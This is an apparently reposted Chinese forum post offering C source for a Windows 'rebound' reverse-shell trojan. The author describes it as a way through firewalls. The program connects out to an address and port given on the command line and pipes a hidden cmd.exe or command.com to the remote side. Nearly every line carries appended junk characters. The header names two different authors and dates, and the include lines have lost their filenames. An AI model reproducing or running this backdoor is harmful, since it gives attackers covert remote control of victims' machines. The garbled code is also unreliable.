这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2S8P}$mM
\]9.zlB
/* ============================== W-
$a
Y2
Rebound port in Windows NT cE iu)2*e
By wind,2006/7 +m}Pmi$
===============================*/ JjXobNQf
#include Eh|.
#include b.O9ITR
$^ 'aCU0C
#pragma comment(lib,"wsock32.lib") aS}1Q?cU
y[@\j9Hq
void OutputShell(); D^U:
ih
SOCKET sClient; q@hp.(V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,uz ]V1
|KY EK|
void main(int argc,char **argv) O|cu.u|
{ -S%x
wJKM
WSADATA stWsaData; h5kPn~
int nRet; >\<*4J$PZ
SOCKADDR_IN stSaiClient,stSaiServer; QMo}W{D
Z.i{i^/#(
if(argc != 3) _)$PKOzbb
{ r$wZt
printf("Useage:\n\rRebound DestIP DestPort\n"); mgZf3?,)
return; O;[9_[
} 5~XN>>hp
Fk=}iB#(
WSAStartup(MAKEWORD(2,2),&stWsaData); .r+hERcB
iP3Z
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d h^^G^
D~K;~nI
stSaiClient.sin_family = AF_INET; qIwV q!=
stSaiClient.sin_port = htons(0); W</n=D<,I
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '[ P}&<ie,
P
,eH5w"
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3UUGblg`~
{ L3(^{W]|
printf("Bind Socket Failed!\n"); 1+y"i<3)
return; Zt3}Z4d
} ?lCd{14Mkh
N?4q
stSaiServer.sin_family = AF_INET; RAs0]K
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); io4A>>W==/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tZWrz
e^
M] V.!z9B
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ts9pM~_~
{ [IM%b~j(^
printf("Connect Error!"); 7q9gngT1LA
return; !$XHQLqF2
} ZC^C
OutputShell(); }UyQ# U
} 3mt%!}S
6\dX
void OutputShell() Md;/nJO~{
{ VU!w!GN]Y
char szBuff[1024]; -[#n+`M
SECURITY_ATTRIBUTES stSecurityAttributes; M"^K0 .
OSVERSIONINFO stOsversionInfo; _.18z+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0_<Nc/(P
STARTUPINFO stStartupInfo; U Lmg$T&
char *szShell; {6vEEU
PROCESS_INFORMATION stProcessInformation; YwT-T,oD
unsigned long lBytesRead; `QP
~
*8g<R
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); KAA3iA@>+
R 4EEelSZu
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {0jIY
stSecurityAttributes.lpSecurityDescriptor = 0; ?H;{~n?
stSecurityAttributes.bInheritHandle = TRUE; CVKnTEs
.5tg4%l
j^u[F"
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ')PVGV(D+
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ij)Cm]4(2
M StX*Zw
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wgd<3 X
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r:l96^xs
stStartupInfo.wShowWindow = SW_HIDE; pVokgUrC
stStartupInfo.hStdInput = hReadPipe; mc@M ,2@D
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; T[Q"}&bB
[QEwK|!L
GetVersionEx(&stOsversionInfo); Z$2L~j"=!
V2`;4d X*2
switch(stOsversionInfo.dwPlatformId) V,4.$<e
{ ;~tsF.=
case 1: !]DuZ=
szShell = "command.com"; 1$["79k
break; ?n*fy
default: ]tVl{" .{
szShell = "cmd.exe"; ^8742.
break; VO9f~>`(
} G,DOBA
T Oy7?;|=
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K\sbt7~
{[3YJkrM
send(sClient,szMsg,77,0); zzf7S%1I
while(1) 6&],WGz
{ rt.[,m
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b>=7B6 Aw
if(lBytesRead) aJ-}
{ 6lU|mJ`M
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;eR{tH /4
send(sClient,szBuff,lBytesRead,0); Y\8+}g;KR
} "t+r+ipf])
else twv
lQ|
{ {y/-:=S)A
lBytesRead=recv(sClient,szBuff,1024,0); (HSw%e
if(lBytesRead<=0) break; "`]'ZIx[R/
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s"rg_FoL
} ohTd'+Lm
} kknhthJ
`r.N
return; ^je528%H
}